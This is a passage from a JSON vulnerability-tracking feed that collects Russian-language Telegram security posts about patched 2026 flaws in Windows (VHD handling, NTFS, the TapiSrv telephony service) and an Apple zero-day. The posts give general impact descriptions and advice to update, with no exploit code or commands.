\u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0438\u0445 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e, \u043a\u043e\u0433\u0434\u0430 \u0431\u0430\u0433\u0430\u0436 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u043d\u0435 \u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0441\u0435\u043a \u0441\u0430\u043c\u043e\u043b\u0435\u0442\u0430, \u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0436\u0435\u0441\u0442\u043a\u0438\u0445 \u0434\u0438\u0441\u043a\u043e\u0432 (VHD). \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0441\u044f \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e. \u041e\u043d \u043c\u043e\u0433 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 VHD-\u0444\u0430\u0439\u043b, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u043d\u0430\u0440\u0443\u0448\u0438\u0432 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0414\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u043f\u0443\u0442\u044c \u043a \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e: \u0441\u043a\u0440\u044b\u0442\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438, \u0435\u0441\u043b\u0438 \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0443 \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0430\u0442\u0430\u043a \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n2\ufe0f\u20e3 \u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NTFS\nPT-2026-2727, CVE-2026-20922 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432 \u043a\u043e\u0434\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435. \u041e\u0431\u0440\u0430\u0437\u043d\u043e \u0433\u043e\u0432\u043e\u0440\u044f, \u044d\u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0441\u0430\u043c\u043e\u043b\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0442\u0430\u043a \u043c\u043d\u043e\u0433\u043e \u0431\u0430\u0433\u0430\u0436\u0430, \u0447\u0442\u043e \u043e\u043d \u0432\u044b\u0434\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0434\u0432\u0435\u0440\u044c \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u043e\u0442 \u0434\u0435\u0444\u0435\u043a\u0442, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u0431\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435.\n\n\u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u0440\u0435\u0434\u043a\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0432 \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u044b\u0445 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u043f\u0440\u043e\u0449\u0430\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\ud83d\udd04 \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f\n\n\u0421\u0430\u043c\u044b\u0439 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u2014 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft.\n\n\u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u043a\u0438\u043c-\u0442\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0442\u044c \u043e\u0441\u043e\u0431\u0443\u044e \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0436\u0435\u0441\u0442\u043a\u0438\u043c\u0438 \u0434\u0438\u0441\u043a\u0430\u043c\u0438 \u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c VHD-\u0444\u0430\u0439\u043b\u044b \u0438\u0437 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432.\n\n#Positive\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b\n@Positive_Technologies", "creation_timestamp": "2026-07-29T00:00:34.490760Z"}, {"uuid": "679619b9-dd0f-4733-a70f-2c1f2f3743de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://t.me/Positive_Technologies/3992", "content": "\ud83e\uddd0 \u0412\u0441\u0435 \u0435\u0449\u0435 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 Windows? \u0412\u043e\u0442 \u0432\u0430\u043c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0432\u043e\u0434 \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c: \u044d\u043a\u0441\u043f\u0435\u0440\u0442 PT SWARM \u0432\u044b\u044f\u0432\u0438\u043b \u0438 \u043f\u043e\u043c\u043e\u0433 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 TapiSrv \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0421\u0435\u0440\u0433\u0435\u0439 \u0411\u043b\u0438\u0437\u043d\u044e\u043a, \u043e\u043d\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (8,0 \u043f\u043e CVSS 3.1). \u042d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u0440\u0435\u0434\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u0432\u043e \u0432\u0441\u0435\u0445 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430\u0445 Windows, \u0441 \u0435\u0433\u043e \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0441 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 (\u0441\u0442\u0430\u0446\u0438\u043e\u043d\u0430\u0440\u043d\u044b\u043c\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430\u043c\u0438, \u043c\u043e\u0434\u0435\u043c\u0430\u043c\u0438, VoIP-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438).\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 PT-2026-27341 (CVE-2026-20931) \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b 35 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043a\u0430\u043a \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 Windows Server 2019/2022/2025, \u0442\u0430\u043a \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 (Windows Server 2008 \u0438 2012). \u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d \u0432 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0438 Microsoft. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udc68\u200d\ud83d\udcbb \u0427\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0431\u044b \u0437\u0430\u0432\u043b\u0430\u0434\u0435\u0442\u044c \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 (\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043b\u044e\u0431\u043e\u0433\u043e \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438) \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f.\n\n\u0414\u043b\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u043e \u0431\u044b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e, \u0447\u0442\u043e\u0431\u044b \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 \u0431\u044b\u043b\u0430 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0447\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0440\u0435\u0434\u043a\u043e.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u043c \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0442\u044c\u0441\u044f \u043f\u043e \u043d\u0435\u043c\u0443. \u041d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u044d\u0442\u0430\u043f\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u0431\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c \u0434\u043e\u043c\u0435\u043d\u0435 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0445, \u0430 \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c \u0440\u0430\u0437\u0432\u0438\u0442\u044c \u043d\u0430\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0438 IT-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043f\u043e\u0445\u0438\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b.\n\n\u2757\ufe0f\u0410\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 TapiSrv \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445\n\n\u2022 \u0415\u0441\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c, \u0435\u0441\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u2022 \u0414\u043e\u043c\u0430\u0448\u043d\u0438\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432\u044b \u0443\u0432\u0438\u0434\u0438\u0442\u0435 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u044d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441, \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442.\n\n#PTSWARM \n@Positive_Technologies", "creation_timestamp": "2026-07-29T00:00:34.161196Z"}, {"uuid": "efbb4864-a306-48df-8c9e-79e668e5e22d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "exploited", "source": "https://t.me/cult_security/1243", "content": "Apple \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439\n\nApple \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2026-20700, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 \u0434\u0432\u0443\u043c\u044f \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f iOS 18.7.5 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0434\u043b\u044f iPhone, iPad \u0438 Mac. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0445 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435.\n\nApple \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u0422\u0435\u043f\u0435\u0440\u044c \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0449\u0443\u0442 \u0434\u0440\u0443\u0433\u0443\u044e. \u0410 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u2014 \u0437\u0430\u0440\u044f\u0434\u043a\u0443 \u0438 Wi-Fi\n\nJoin our club Cult \ud83d\udc41", "creation_timestamp": "2026-07-29T00:00:35.010038Z"}, 